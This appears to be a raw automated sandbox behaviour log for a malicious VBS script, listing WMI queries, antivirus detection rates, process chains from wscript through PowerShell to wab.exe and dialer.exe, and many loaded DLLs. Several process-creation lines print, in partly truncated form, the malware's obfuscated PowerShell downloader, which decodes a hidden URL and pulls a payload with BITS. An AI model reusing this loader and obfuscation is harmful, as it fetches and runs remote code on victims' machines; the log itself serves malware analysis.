Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5708
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4856
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: F8HYX5HOgA.vbs	Virustotal: Detection: 46%
Source: F8HYX5HOgA.vbs	ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
